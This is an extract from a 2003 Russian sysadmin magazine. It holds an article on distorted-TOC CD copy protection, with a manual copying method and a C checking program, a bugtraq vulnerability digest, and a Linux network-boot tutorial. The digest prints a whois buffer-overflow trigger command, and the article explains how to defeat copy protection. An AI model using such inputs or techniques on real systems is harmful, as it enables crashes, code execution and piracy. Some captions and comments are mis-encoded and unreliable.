; (âû÷èñëåí ñ ïåðåïîëíåíèåì)[Entry 6] ; äàííûå ýëåìåíòà TOC ¹6Session=1 ; ýëåìåíò ñåññèè 1Point=0xc1 ; êîïèÿ ATIP-èíôîðìàöèèADR=0x05 ; -+Control=0x04 ; -+TrackNo=0 ; -+AMin=4 ; -+ASec=192 ; -+AFrame=150 ; -+- ATIP (èçìåíåíà!)ALBA=32400 ; -+Zero=0 ; -+PMin=0 ; -+PSec=0 ; -+PFrame=0 ; -+PLBA=-150

[TRACK 1]MODE=0INDEX 1=45000

Ðèñóíîê 2. Alcohol âèäèò îáå ñåññèè çàùèùåííîãî äèñêà, íî…

Ðèñóíîê 3. Êîïèðóåò ëèøü âòîðóþ èç íèõ, à ïåðâóþ íàãëîïðîïóñêàåò

Page 44: 010 Системный Администратор 09 2003

42

администрирование

А ведь заявлялось, что Clone CD/Alcohol 120% способ-ны копировать любые существующие на сегодняшний мо-мент защищенные диски, и вдруг на поверку оказывается,что даже такую простую защиту, которую может создатьна кончике пенька любой программист, они преодолеть нивместе, ни по раздельности не в состоянии! Причем аппа-ратура, на которой все эти эксперименты и осуществля-лись, возможность корректного копирования искаженногодиска гарантированно поддерживает (сам проверял), ипотому отмахнуться физическими ограничениями приво-дов разработчикам обоих копировщиков уже не удастся!

Даже не верится, что такой простой прием «ослепля-ет» лучших копировщиков защищенных дисков! Неужелии вправду создание некопируемых дисков вполне осуще-ствимо на обыкновенном бытовом оборудовании?! Да!Именно так! Конечно, не стоит путать некопируемость дискаавтоматическими копировщиками с принципиальной невоз-можностью получения его идентичной копии. В ручном ре-жиме копирование таких дисков вполне осуществимо (прав-да, при условии, что ваш пишущий привод поддерживаетрежим RAW DAO, а читающий – читает сектора из обоихсекций), и сейчас мы продемонстрируем как.

Так как же все-таки скопироватьтакой диск?Конечно, с помощью «Добермана Пинчера» (или любогодругого блочного копировщика файлов), HIEW, двух об-разов защищенного диска (один – с первой сессией – отClone CD, другой – со второй сессией – от Alcohol) мыможем воссоздать идентичную копию оригинального дис-ка путем их совокупного объединения, но… это будет как-то не по-хакерски, да и вообще некрасиво.

Чтобы не писать свою собственную программу «про-жига» диска, ограничимся использованием Clone CD.При условии, что подсунутый ему образ диска запечат-лен правильно, Clone CD обычно справляется с прожи-гом «на ура». Итак, у нас есть более и менее верныйфайл image.ccd, содержащий TOC, но недостает файлаобраза image.img. Попробуем его получить? Будем от-талкиваться от того, что LBA-адреса всех секторов дис-ка пронумерованы последовательно, включая области,занятые Lead-In/Lead-Out и прочим служебным барахлом.Разумеется, непосредственное чтение служебных обла-стей диска на секторном уровне невозможно, но… имен-но на этом мы и собираемся сыграть! Последовательночитая диск с первого по последний сектор, мы обнару-жим, что сектора с LBA-адресами с 0 по 2055 секторвключительно читаются без каких-либо проблем, послечего наступает сумеречная зона нечитающихся секто-ров, протянувшаяся вплоть до сектора 13307. Здесь сек-тора либо совсем не читаются либо возвращаются всильно мутированном виде, легко опознаваемые по от-сутствию правильной синхропоследовательности в ихзаголовке. Наконец, с адреса 13308 чтение вновь про-должается без каких-либо проблем.

Судя по всему мы имеем дело с двухсессионным дискоми сумеречная зона между сессиями есть ни что иное, какLead-Out/Lead-In. Накинув два сектора на post-gap (при ус-ловии, что он записан с соблюдением стандарта), получа-

ем, что LBA-адрес последнего значимого сектора первойсессии составляет 2057 или, в пересчете на абсолютныеединицы – 00 минут, 29 секунд и еще 32 фрейма. Соответ-ственно, LBA-адрес первого сектора второй сессии равен13308 + 150 (pre-gap) == 13458, или 3 минуты, 1 секунда,33 фрейма. Конечно, если исследуемый диск содержит боль-шое количество ошибок, то его анализ значительно услож-няется, т.к. физические дефекты на секторном уровне мо-гут выглядеть точно так же, как Lead-In/Lead-Out-области,конечно, при том условии, что дефективные области имеютсоответствующую протяженность, – а это вряд ли.

Отбросив сектора, расположенные в зонах pre- и post-gap (т.е. 150 секторов от конца первой читаемой области ировно столько же от начала следующей), мы должны объе-динить их в один файл, используя для этой цели любойфайловый копировщик (например, штатную команду MS-DOS copy file_1 /b + file_2 image.img). Остается прочитатьсырой TOC SCSI/ATAPI командой READ TOC (opcode: 43h,format: 2h) и записать его в image.ccd файл в соответствиис синтаксисом Clone CD. Как альтернативный вариант –можно воспользоваться ccd-файлом, сформированнымпрограммой Alcohol, предварительно скорректировав pre-gap Mode (как уже сказано выше, Alcohol определил егонеправильно, перепутав Mode 1 с Mode 2). Согласно стан-дарту режим сектора задается пятнадцатым, считая отнуля, байтом его заголовка. Если этот байт равен одному(что, собственно, и наблюдается в нашем случае), то иMode сектора будет 1, но не 2.

При условии, что все сделано правильно, после запи-си собственноручно сформированного образа диска мыполучаем практически идентичный оригинал. Просто? Дапроще простого! И написать автоматический копировщик,автоматизирующий наш труд, можно буквально за не-сколько часов! Если чтение «сырых» секторов с дискапредставляет для вас проблему, воспользуйтесь исход-ными текстами утилит ASPI32.raw/SPTI.raw, как раз та-кое чтение и осуществляющих.

Так что искажение TOC – не очень-то надежный приемзащиты от копирования, как ни крути. Правда, от обычныхпользователей, вооруженных Clone CD/Alcohol, он все-такиспасает, а больше от защиты зачастую и не требуется.

Пример реализации защитына программном уровнеПокажем теперь, как такая защита может быть реализо-вана на программном уровне. Самое простое, что можносделать, – отправить приводу команду «сырого» чтенияTOC (opcode: 43h, format: 2h) и сравнить возращенный еюрезультат с эталоном. Какие именно поля TOC защитабудет проверять, – это ее личное дело. По минимуму дос-таточно проверить количество сессий и стартовый адресискаженного трека. По максимуму можно контролироватьвесь TOC целиком. Естественно, от побайтового сравне-ния контролируемого TOC с оригиналом настоятельно ре-комендуется воздержаться, т.к. это неявно закладываетзащиту на особенности микропрограммной прошивкичитающего привода. Стандарт ничего не говорит о том, вкаком порядке должно возвращаться содержимое TOC, ипотому его бинарное представление может варьировать-

Page 45: 010 Системный Администратор 09 2003

43№9(10), сентябрь 2003

администрирование

ся от привода к приводу. Грамотно спроектированная за-щита должна анализировать только те поля, к содержи-мому которых она привязывается явно.

Демонстрационный пример, приведенный ниже, как рази иллюстрирует технику корректной привязки к TOC. Разу-меется, явная проверка целости TOC может быть элемен-тарно обнаружена хакером и выкинута из программы какненужная, поэтому не стоит копировать этот демонстраци-онный пример один к одному в свои программы. Лучшеиспользуйте значения полей TOC как рабочие константы,жизненно необходимые для нормальной работоспособно-сти программы, – в этом случае сличение паспортов с ли-цами будет не столь наглядным. Естественно, явная про-верка оригинальности диска все равно обязана быть, ноее основная цель отнюдь не защитить программу от взло-ма, а довести до сведения пользователя, что проверяемыйдиск с точки зрения защиты не является лицензионным.

Предлагаемая защита не копируется Clone CD (т.к. онсоздает всего одну сессию вместо ожидаемых двух), нолегко обходится Alcohol, который хоть и помещает наместо первой секции непотребный мусор, зато вполне кор-ректно воссоздает оригинальный TOC.

Для усиления защиты мы можем попытаться не толькопроверять обе сессии на существование, но и контролиро-вать целостность их содержимого. Разумеется, не обяза-тельно перелопачивать каждую из секций целиком. Доста-точно выбрать несколько ключевых секторов, желательноимеющих по возможности уникальное содержимое. По-стойте! – воскликнет внимательный читатель. Разве авторне предостерегал нас о последствиях такой проверки?!Ведь никто не может гарантировать, что на оборудованиипользователя эти сектора вообще прочтутся! Что ж, отве-чу я. Закладываться на читабельность секторов действи-тельно категорически не рекомендуется, но вот контроли-ровать успешно просчитавшиеся сектора можно и нужно!То есть: если ключевые сектора не читаются, то все ок инет никаких поводов считать диск нелицензионным – этопросто у конечного пользователя оборудование такое (всмысле кривое). Другое дело, если чтение секторов про-шло без ошибок, но вместо ключевых данных в них оказа-лось нечто совсем иное. Вот тогда, действительно, пробле-ма не в оборудовании, а в диске.

Ëèñòèíã 8. Äåìîíñòðàöèîííûé ïðèìåð ïðîñòåéøåé çàùèòû, ïðèâÿ-çûâàþùåéñÿ ê èñêàæåííîìó TOC è íå ïîçâîëÿþùåé ñåáÿ êîïèðîâàòü.

/*--------------------------------------------------------** crack me 9822C095h* ==================** äåìîíñòðàöèÿ òåõíèêè ïðèâÿçêè ê èñêàæåííîìó TOC;* äëÿ ðàáîòå ïðîãðàììå òðåáóåòñÿ ëàçåðíûé äèñê, ïðîææåííûé* ñîîòâåòñòâóþùèì îáðàçîì

---------------------------------------------------------*/#include <stdio.h>#include <windows.h>#include "CD.h"#include "SPTI.h"#include "ASPI32.h"

// ïàðàìåòðû çàùèùåííîãî äèñêà, êîòîðûå ìû áóäåì ïðîâåðÿòü//------------------------------------------------------–#define _N_SESSION 2 // êîëè÷åñòâî ñåññèé#define _TRACK 1 // íîìåð ïðîâåðÿåìîãî òðåêà#define _TRACK_LBA 0x6B124 // ñòàðòîâûé LBA-àäðåñ

// òðåêà _TRACK

// ïàðàìåòðû ïðîãðàììû//--------------------#define MAX_TRY 3 // ìàê. êîë-âî ïîïûòîê ÷òåíèÿ TOC#define TRY_DELAY 100 // çàäåðæêà ìåæäó ïîïûòêàìè#define MAX_TOC_SIZE (2352) // ìàêñèìàëüíûé ðàçìåð TOC

main(int argc, char **argv){

// îñíîâíûå ïåðåìåííûålong a, real_len, try = 1;// ñþäà áóäåò ÷èòàòüñÿ TOCunsigned char TOC[MAX_TOC_SIZE];// SCSI CDB-áëîê äëÿ SCSI/ATAPI-óñòðîéñòâunsigned char CDB[ATAPI_CDB_SIZE];

// TITLEfprintf(stderr,"crackme 9822C095 by Kris Kaspersky\n");

if (argc <2){

fprintf(stderr,"USAGE:crackme.9822C095h.exe ↵

drive\n");fprintf(stderr,"\tdrive - \\\\.\\X: or ↵

Trg.Lun\n");return -1;

}

// èíèöèàëèçàöèÿ áóôåðîâmemset(CDB, 0, ATAPI_CDB_SIZE); memset(TOC, 0, ↵

MAX_TOC_SIZE);

// ãîòîâèì CDB-áëîêCDB[0] = 0x43; // READ TOCCDB[2] = 0x2; // RAW TOCCDB[6] = 0; // íîìåð ïåðâîé ñåññèè

CDB[7] = HIBYTE(MAX_TOC_SIZE); // ðàçìåð...CDB[8] = LOBYTE(MAX_TOC_SIZE); // ...áóôåðà

// ÷èòàåì TOCwhile(1){

// ïîñûëàåì CDB-áëîê SCSI/ATAPI-óñòðîéñòâóa = SEND_SCSI_CMD(argv[1], CDB, ATAPI_CDB_SIZE, ↵

NO_SENSE, TOC, MAX_TOC_SIZE, SCSI_DATA_IN);// TOC óñïåøíî ïðî÷èòàí, ðâåì êîãòèif (a == SCSI_OK) break;

// ïðîèçîøëà îøèáêà. Âîçìîæíî ïðèâîä íå ãîòîâ?// âûäåðæèâàåì ïàóçóSleep(TRY_DELAY);// ìàêñèìàëüíîå êîëè÷åñòâî ïîïûòîê óæå âûøëî?if (try++ == MAX_TRY)

{ fprintf(stderr,"-ERR: can not read ↵TOC\x7\n"); return -1;}

}

// TOC ïðî÷èòàí, ïðèñòóïàåì ê åãî àíàëèçó//---------------------------------------

// ïðîâåðêà êîëè÷åñòâà ñåññèéif ((TOC[3] - TOC[2]) != (_N_SESSION-1))

{fprintf(stderr, "-ERR: not original ↵CD\n");return -1;}

// ïðîâåðêà ñòàðòîâîãî LBA-àäðåñà òðåêà _TRACK//--------------------------------------------// îïðåäåëåíèå ðåàëüíîé äëèíû TOCreal_len = TOC[0]*0x100L+TOC[1];// ïåðåáîð âñåõ entryfor (a = 4; a < real_len; a+=11){

// ýòî íàø òðåê?if (TOC[a+3] == _TRACK)

if ((((TOC[a + 4]∗60L) + TOC[a + 5])∗75L) + ↵TOC[a + 6] != _TRACK_LBA){fprintf(stderr, "-ERR: ↵

not original LBA\n"); ↵return -1;}

elsebreak;

}

// ýòî îðèãèíàëüíûé äèñê!printf("Hello, original CD\n");

}

Page 46: 010 Системный Администратор 09 2003

44

администрирование

Усиленный вариант защиты уже не копируется Alcohol(т.к. вместо оригинального содержимого первой сессииAlcohol помещает на диск какой-то дикий мусор), но мо-жет быть скопирован вручную по методике, описаннойвыше. К тому же, привязка к искаженному TOC элемен-тарно отламывается в отладчике/дизассемблере. Так чтодальнейшее совершенствование защиты практическиполностью бессмысленно. От «простых смертных» пользо-вателей мы уже защитились, а от хакеров мы не сумеемзащититься все равно (во всяком случае, не этим спосо-бом). В любом случае более продвинутые защиты – темаотдельного разговора.

Условные обозначения� Под приводом NEC понимается _NEC CD-RW NR-9100A;

firmware version 1.4.� Под приводом ASUS понимается ASUS CD-S500/A;

firmware version 1.4K.� Под приводом PHILIPS понимается PHILIPS CDRW2412A;

firmware version P1.55.

Alcohol 120% – отличный копировщик защищенных дис-ков, условно-бесплатную версию которого можно утянуть ссайта http://www.alcohol-soft.com/. Автоматически ломаетболее половины всех существующих типов защит от копи-рования и позволяет динамически монтировать образы за-щищенных дисков на виртуальный привод CD-ROM, чтоочень удобно для экспериментов. К сожалению, монтирова-нию подлежат лишь «правильные» образы, коими большин-ство образов защищенных дисков отнюдь не являются.

Clone CD – хороший копировщик защищенных дисков,условно-бесплатную версию которого можно утянуть последующему адресу: http://www.elby.ch/. С копированиемзащищенных дисков в полностью автоматическом режи-ме Clone CD справляется скорее плохо, чем хорошо, од-нако после ручного шаманства с настройками и непос-редственно самим образом защищенного диска он мо-жет скопировать добрую половину существующих типовзащит. Утверждение о том, что Clone CD «берет» практи-чески все существующие защиты от копирования, – лож-ное и невероятно далеко от действительности.

ГлоссарийLead-In Area – вводная область диска. Служебная областьдиска, по сути своей представляющая нулевой трек, все-гда предшествующий первому треку PA. Каждая сессиямногосессионного диска имеет собственную вводную об-ласть. Размер вводной области по стандарту составляет9 мегабайт (60 секунд, или 4500 секторов). Q-канал под-кода вводной сессии содержит TOC, среди прочей полез-ной информации, указывающей либо на адрес выводнойобласти (закрытый диск), либо на адрес вводной областиследующей сессии (открытый диск). Содержимое ввод-ной области недоступно для чтения на программном уров-не. Визуально вводная область выглядит равномерно ос-вещенным блестящим кольцом.

Lead-Out Area – выводная область диска. Служебнаяобласть диска, условно обозначаемая треком номер AAhи замыкающая собой всякую закрытую сессию. Вывод-

1 Посмотрите внимательно на лицевую панель своегоCD-ROM, видите – внизу лотка расположено крохотноеотверстие порядка 1 мм в диаметре? Воспользовавшисьлюбым длинным тонким и достаточно прочным предме-том, например, металлической канцелярской скрепкой,слегка приоткройте лоток, введя «отмычку» в указаннуюдырку до упора и еще чуть-чуть надавив. Все! – дальшелоток можно выдвинуть уже руками. Внимание! Во-пер-вых, проделывайте эту операцию только при выключен-ном компьютере, а во-вторых, держите «отмычку» строгогоризонтально, иначе вы можете промазать и угодить вкакой-нибудь нежный узел, основательно его повредив.

ная область служит своеобразным индикатором концасессии и/или диска и помогает оптической головке невылететь за пределы диска. Пишущие приводы должныкорректно обрабатывать диски с незакрытыми сессиями,однако обыкновенные приводы CD-ROM и аудиопроигры-ватели это делать не обязаны. Внимание! Отсутствиевыводной сессии (равно как и некорректное задание ееадреса) может повредить некоторые модели приводов(один из них PHILIPS).

Емкость выводной области односессионного диска постандарту составляет 13,5 Mб (6750 секторов или 1,5 ми-нуты). Емкость выводных областей для второй и после-дующих сессий многосессионных дисков уменьшена до4 Мб (0,5 минуты, или 2250 секторов). Содержимое вы-водной области недоступно на программном уровне. Ви-зуально выводная область выглядит равномерно освещен-ным блестящим кольцом.

Program Area – программная область. Область диска,расположенная между Lead-In- и Lead-Out-областями и со-держащая информационные треки с музыкой или данны-ми. Это – основная область диска, целиком доступная насекторном уровне с паузами между аудиотреками вклю-чительно.

TOC – (Table Of Content) – таблица содержимого илипопросту оглавление диска. Служебная область диска,записанная в Q-канале подкода вводной области диска,также называемой Lead-In-областью (такое блестящеекольцо у внутреннего края диска). Многосессионный дискимеет несколько независимых TOC – по одному TOC накаждую закрытую сессию.

TOC содержит информацию о стартовых адресах ввод-ной/выводной областей диска и атрибуты всех его треков(как-то тип трека: аудио или данные, а если данные, то вкаком режиме – Mode 1, Mode 2 и т. д., абсолютный стар-товый адрес трека и номер соответствующей ему сессии).Также TOC содержит часть ATIP и указатели на местопо-ложение ее продолжения.

Непосредственно (т.е. на секторном уровне) для чте-ния TOC недоступен, но для извлечения его содержимо-го в «сыром» виде можно воспользоваться следующейSCSI/ATAPI командой READ TOC/PMA/ATIP (операцион-ный код: 43h) с format field == 2h.

Однако не стоит путать TOC с файловой системой –между ними нет ничего общего! Файловые системы налазерных дисках хранятся непосредственно в PM и сво-бодно доступны для чтения на секторном уровне.

Page 47: 010 Системный Администратор 09 2003

45№9(10), сентябрь 2003

bugtraq

Удаленное выполнение произвольногокода в Helix Universal Server и RealServerУязвимость обнаружена в RealNetworks Helix UniversalServer. Удаленный пользователь может выполнить про-извольный код с root-привилегиями.

Удаленный пользователь может запросить URL, содер-жащий большое число определенных символов, чтобызаставить сервер выполнить произвольный код. Недоста-ток находится в обработчике протокола.

Уязвимость обнаружена в Helix Universal Server 9 иболее ранних версиях (RealSystem Server 8, 7 и RealServerG2).

Удаленный отказв обслуживании в SendmailУязвимость обнаружена в почтовом сервере Sendmail.Удаленный атакующий, способный контролировать отве-ты DNS-сервера, может аварийно завершить работу по-чтового сервера или выполнить произвольный код на уяз-вимом сервере.

Уязвимость обнаружена в конфигурациях, в которыхиспользуется DNS-маппинг в файле sendmail.cf.

Функция dns_parse_reply() формирует цепочкуRESOURCE_RECORD_T-структур (динамически распреде-ляя память для них). Из-за неправильной инициализацииэтих структур, когда sendmail получает плохой DNS-ответ(в котором фактический размер ответа не равен заявлен-ному), структура вызывает dns_free_data (sm_resolve.c:227)с rr_next полем последней цепочки структуры, запол-ненной мусором. В dns_free_data() sendmail попытает-ся освободить цепочку структур – пройдет через цепоч-ку, используя rr_next указатель и останавливаясь, когдаrr_next == NULL. Мусор в rr_next поле заставит sendmailвызвать free() на случайном адресе. В результате ра-бота Sendmail аварийно завершится.

Уязвимость обнаружена в sendmail 8.12.8 и более ран-них.

Sendmail выпустил небольшую заплату, устраняющуюобнаруженную уязвимость:

Переполнение буфера черезвеб-приложение в GNU Whois-клиентеПереполнение буфера обнаружено в GNU Whois-клиен-те. Веб-приложения, которые вызывают whois, позволя-ют удаленному пользователю выполнить произвольныйкод. Воздействие зависит от того, как приложение вызы-вает или интегрирует Whois-клиента.

Посылая специально обработанное значение для име-ни хоста, когда вызывается whois с «-g» параметром ко-мандной строки, локальный или удаленный пользовательможет вызвать переполнение буфера:

Когда whois использует отдельное приложение, пере-полнение буфера позволяет локальному пользователювыполнить произвольный код с привилегиями локально-го пользователя (что само по себе не является уязвимос-тью защиты). Однако некоторые веб-приложения, исполь-зующие whois, могут позволить удаленному пользовате-лю выполнить произвольный код с привилегиями веб-сер-вера.

Уязвимость обнаружена в GNU Whois 4.6.6 и более ран-них версиях.

Для устранения уязвимости измените следующуюстроку в файле whois.c

на

astharot@astharot <mailto:astharot@astharot> astharot ↵$ whois -g `perl -e "print 'a'x2000"`

sprintf(p--, "-%c %s ", ch, optarg);

snprintf(p--, sizeof(fstring), "-%c %s ", ch, optarg);

--- sm_resolve.c.orig Fri Jun 28 00:43:24 2002+++ sm_resolve.c Thu Jul 10 01:21:17 2003@@ -233,6 +233,7 @@

dns_free_data(r);return NULL;

}+ memset(*rr, 0, sizeof(**rr));

(*rr)->rr_domain = sm_strdup(host);if ((*rr)->rr_domain == NULL){

Истощение памятив системном вызове semget(2)в операционной системе OpenBSDУязвимость обнаружена в операционной системеOpenBSD в системном вызове semget(2). Локальныйпользователь может аварийно завершить работу систе-мы.

Системный вызов semget(2) не проверяет размеры гра-ниц в пользовательских данных. Локальный пользовательможет выполнить специально обработанный запрос, что-бы заставить функцию использовать всю доступную па-мять, что приведет к зависанию системы.

Уязвимость обнаружена в OpenBSD version 3.3.Для устранения уязвимости установите соответству-

ющее обновление, которое можно скачать отсюда:ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.3/common/

002_semget.patchСоставил Александр Антипов

Удаленный отказ в обслуживаниив Piolet File Sharing-клиентеОтказ в обслуживании обнаружен в Piolet File Sharing-кли-енте. Удаленный пользователь может аварийно завершитьработу клиента.

Удаленный пользователь может подключиться к целе-вому клиенту на 701 TCP-порт и послать чрезмерное ко-личество данных, чтобы аварийно завершить работу це-левого клиента. Согласно сообщению, атака не будет за-регистрирована приложением.

Уязвимость обнаружена в Piolet File Sharing Client 1.05.Способов устранения обнаруженной уязвимости не су-

ществует в настоящее время.

Page 48: 010 Системный Администратор 09 2003

46

администрирование

ЗАГРУЗКА ПО СЕТИ

Page 49: 010 Системный Администратор 09 2003

47№9(10), сентябрь 2003

администрирование

Многие современные материнские платы позволяют заг-ружать операционную систему не только с жесткого дис-ка или дискеты, но и по сети. Причем загружаться посети «умеют» компьютеры как со встроенными сетевы-ми адаптерами, так и обладающие внешними сетевымикарточками.

В этой статье мы рассмотрим, как загрузить операци-онную систему Linux по сети. Многие дистрибутивы по-зволяют устанавливать операционную систему по сети.Однако не нужно путать установку по сети и загрузку посети. В первом случае вы загружаетесь с системной дис-кеты, а дальше программа установки просто копирует всенеобходимые ей файлы, находящиеся, как правило, накаком-то FTP-сервере, на ваш компьютер. В случае с заг-рузкой по сети файлы не копируются на ваш компьютер,а загружаются по сети при необходимости. Сначала заг-ружается ядро системы (мы говорим о Linux), а потом не-обходимые ему файлы – корневая файловая система (сиспользованием NFS). Данный способ позволяет нам ис-пользовать бездисковые станции. Если вам нужна «слу-жебная» бездисковая станция, которая будет выполнятьтолько определенные задачи, например, принт-сервераили шлюза, можно вовсе отказаться от NFS, а загружатьвсе сразу – и ядро, и корневую файловую систему – лишьбы оперативной памяти хватило.

Примечание: NFS (Network File System) – сетевая фай-ловая система. Позволяет монтировать файловые систе-мы, находящиеся на удаленных компьютерах.

Наверное, вы знаете, что существуют так называемыеNFS-дистрибутивы, которые также позволяют хранить всенеобходимые файлы на NFS-сервере. Но NFS-дистрибу-тив нельзя использовать на бездисковых станциях. Какминимум для запуска такого дистрибутива на рабочейстанции должен быть установлен обычный дисковод длягибких дисков. Загрузчик LILO (или любой другой) загру-жается с дискеты, затем вы передаете ему несколько па-раметров, как минимум два:� root=/dev/nfs – сообщает ядру, что мы будем исполь-

зовать загрузку по NFS;� nfsroot – указывает путь к корневой файловой систе-

ме в формате:

Как видите, ядро знает, что корневая файловая сис-тема загружается по NFS. Сейчас мы попробуем сделатьтак, чтобы ядро даже «не заметило», что оно загружает-ся по сети. Для этого мы будем использовать серверы rarp(Reverse Address Resolution Protocol) и tftp (Trivial FileTransfer Protocol). Сервер rarp мы будем использовать длятого, чтобы сопоставить MAC-адрес бездисковой станцииопределенному IP-адресу нашей локальной сети. Серверtftp будет хранить наш загрузочный образ, о котором мыпоговорим немного позже.

Теперь приступим к практической реализации. Для на-чала сопоставим MAC-адрес бездисковой станции IP-ад-ресу нашей сети. Как я уже говорил, для этого будем ис-пользовать сервер rarp, который должен быть установленна вашей системе.

ДЕНИС КОЛИСНИЧЕНКО

[<server_ip>:]<root_dir>[,<nfs_options>]

Page 50: 010 Системный Администратор 09 2003

48

администрирование

� Мы указываем статический IP-адрес 192.168.1.117:

Сервер BOOTP можно с успехом заменить серверомDHCP, однако с небольшими изменениями в файле кон-фигурации. Пример файла конфигурации будет приведенв конце статьи. Имя net_pc1 должно быть прописано вфайле /etc/hosts или сервере DNS:

Теперь можно приступить к настройке сервера tftp.Установите сервер tftp. После установки в каталоге /etc/xinetd.d появится специальный файл, содержащий пара-метры запуска сервиса tftp. Вы можете отредактироватьих по своему усмотрению, после чего нужно перезапус-тить сервис xinetd:

Если же у вас до сих пор используется устаревшийсуперсервер inetd, в файл /etc/inetd.conf нужно добавитьследующую строку (или раскомментировать ее, если онауже есть):

Как обычно, нужно перезапустить сервис inetd, чтобыизменения вступили в силу. В каталог /tftp нужно помес-тить тот самый образ, содержащий ядро и базовую кор-невую файловую систему.

Вот теперь самое время поговорить об образе и отех файлах, которые он должен содержать. Начнем, по-жалуй, с ядра. Перекомпилируйте ядро, включив в негоподдержку сети, файловой системы ext2 и Initial RAMdisk support (секция Block devices). Все остальное от-ключайте по максимуму – ведь мы же не хотим переда-вать вместе с ядром несколько мегабайт дополнитель-ных модулей. Если у вас одна бездисковая станция,возможно, такой режим работы не скажется на функ-ционировании всей сети, но попробуем представить, чтотаких станций у нас десять и все они включаются одно-временно… Можно даже отключить поддержку моду-лей – все, что нужно, вы поместите в ядро. Такое ядроне будет компактным, но с одним файлом вам будетпроще работать.

После того, как ядро будет откомпилировано, жела-тельно проверить его работоспособность – запишите егона дискету и загрузитесь с нее:

Команда rdev используется в случае, если ядро и кор-невая файловая система находятся на разных дисках. Внашем случае ядро – на дискете, а файловая система –

ip=192.168.1.117:192.168.1.1:192.168.1.1: ↵255.255.255.0:net_pc1:eth0:

192.168.1.117 net_pc1.domain.ru net_pc1

service xinetd restart

tftp dgram udp wait root /bin/in.tftpd in.tftpd –s /tftp

cat bzImage > /dev/fd0

rdev /dev/fd0 /dev/hda1rdev –v /dev/fd0 –1rdev –R /dev/fd0 1rdev –r /dev/fd0 0

Данную команду нужно включить в сценарий загрузкивашей системы, чтобы не вводить ее вручную при каж-дом запуске. Проблему идентификации нашей станцииможно решить и по-другому – с помощью DHCP. Для это-го в файле конфигурации /etc/dhcpd.conf нужно прописатьдирективу host для каждой бездисковой станции:

Как определить MAC-адрес сетевой платы? Для этогосуществует много программ, но целесообразнее исполь-зовать стандартные программы, которые всегда есть подрукой: в Linux – это ifconfig, а в Windows – winipcfg (рис. 1).

Ядру Linux нужно будет передать параметр ip, опреде-ляющий настройки IP-интерфейса. В общем случае онвыглядит так:

Как это сделать, вы узнаете чуть позже, а пока рас-смотрим несколько примеров:� Мы используем протокол BOOTP:

� Мы используем сервер rarp:

/sbin/rarp –s 192.168.1.117 00:00:a1:77:e5:c9

host net_pc1{hardware ethernet 00:00:a1:77:e5:c9fixed-address 192.168.1.117}

Ðèñóíîê 1. Ïðîãðàììà winipcfg

ip=<client_ip>:<server_ip>:<gateway>:<netmask>: ↵<hostname>:<device>:<autoconf>

ip=::::net_pc1::bootp

ip=::::net_pc1::rarp

Page 51: 010 Системный Администратор 09 2003

49№9(10), сентябрь 2003

администрирование

на жестком диске (раздел /dev/hda1). Если загрузка про-шла успешно, значит, ваше ядро вполне работоспособнои его можно использовать.

Самое сложное – еще впереди. Вам нужно самостоя-тельно подготовить набор файлов корневой файловойсистемы, то есть создать свой небольшой дистрибутив.

Подробнее о создании микродистрибутивов вы може-те прочитать:� в статье Всеволода Стахова «Создание загрузочных

дискет и CD-дисков Linux», которая была опублико-вана в июньском номере «Системного администра-тора»;

� в статье «Изготовление мульти-загрузочного CD-дис-ка» (http://gazette.linux.ru.net/);

� на моем сайте dkws.narod.ru.

Конечно, всегда можно пойти по пути наименьшего со-противления и использовать уже готовый микродистри-бутив, помещающийся на одной – двух дискетах. Такойдистрибутив очень легко найти в сети. Конкретный дист-рибутив советовать не буду, поскольку выбор зависит отвыполняемых им функций.

Кроме ядра и файловой системы Linux, наш образ дол-жен содержать загрузчик Linux: кто-то ведь должен пере-дать параметры ядру Linux (вы еще не забыли о парамет-ре ip?). Подойдет любой загрузчик, который в состояниисправиться с возложенной на него задачей – передачейпараметров ядру. Если файл образа уже готов, можнозаписать загрузчик прямо в него – Linux все равно с чемработать – с файлом или устройством. Вот конфигураци-онный файл lilo.conf:

Когда ваш образ будет полностью готов, запишите егов каталог /tftp и можно попробовать запустить бездиско-вую станцию (не забудьте в SETUP включить загрузку посети). Не получается? Тогда переименуем файл образаследующим образом:

Откуда взялось такое страшное имя? Все очень про-сто: IP-адрес бездисковой станции записывается в шес-тнадцатиричном формате, все точки игнорируются. За-тем через точку записывается код архитектуры бездис-ковой станции (прописными буквами). Код архитектурыможно узнать, выполнив команду arch… на бездисковойстанции. А как же ее выполнить – ведь там нет операци-онной системы? Тогда просто попробуйте угадать – этонесложно. Скорее всего, у вас будет установлен процес-сор фирмы Intel или совместимый с ним, значит, перваябуква кода будет I. Затем следует код процессора – 386,486, 586 (Pentium), 686 (Pentium II, Celeron).

Вот сейчас все должно быть нормально. Во всякомслучае, ядро системы должно загрузиться по сети. Есливозникнет ошибка во время загрузки системы, то это оз-начает только одно – вы где-то допустили ошибку при«сборке» собственного микродистрибутива.

Обычно бездисковые станции используются в качествеслужебных компьютеров, например, маршрутизаторовили шлюзов. А что делать, если вам нужна полноценнаярабочая станция, скажем, X-терминал, за которым днямии ночами должны работать пользователи (например, высоздаете малобюджетное интернет-кафе)? Тогда наш заг-рузочный образ должен содержать только ядро и загруз-чик без файловой системы. Загрузчик должен передатьядру следующие параметры:

192.168.1.1 – это IP-адрес сервера NFS.В файле /etc/exports указываются экспортируемые

файловые системы:

Первая строка означает, что экспортируется файло-вая система /exports/nfs и доступ к ней в режиме «толькочтение» (read only – ro) получат все компьютеры. К фай-ловой системе /exports/nfs-rw также получат доступ всекомпьютеры, но в режиме «чтение-запись». К CD-ROMполучит доступ только компьютер net_pc1.

Как и обещал, привожу небольшой фрагмент файлаконфигурации /etc/dhcpd.conf, позволяющего серверуDHCP работать в режиме BOOTP:

Все ваши вопросы и комментарии к статье буду радвыслушать по адресу: [email protected]

Ссылки:1. Пакет Bootkit, предназначенный для создания загру-

зочных дисков:ftp://sunsite.unc.edu/pub/Linux/system/Recovery/

2. Очень много ссылок на микродистрибутивы Linux:http://www.linuxlinks.com

3. Много программ для создания загрузочных дисков:http://www.ibiblio.org/pub/Linux/system/recovery/

4. Сайт http://dkws.narod.ru – много полезной документа-ции по Linux, в том числе документы Howto на русскомязыке.

boot=/tftp/net.imgprompttimeout=50compactvga=normalread-onlyimage=/vmlinuz label=linux append=" ip=::::nfs-client::bootp"

ln –sf net.img C0A80175.I586

root=/dev/nfs nfsroot=192.168.1.1:/exports/nfs

/exports/nfs (ro)/exports/nfs-rw (rw)/mnt/cdrom net_pc1(ro)

subnet 192.168.1.0 255.255.255.0 {option subnet-mask 255.255.255.0;option domain-name-servers 192.168.1.1;

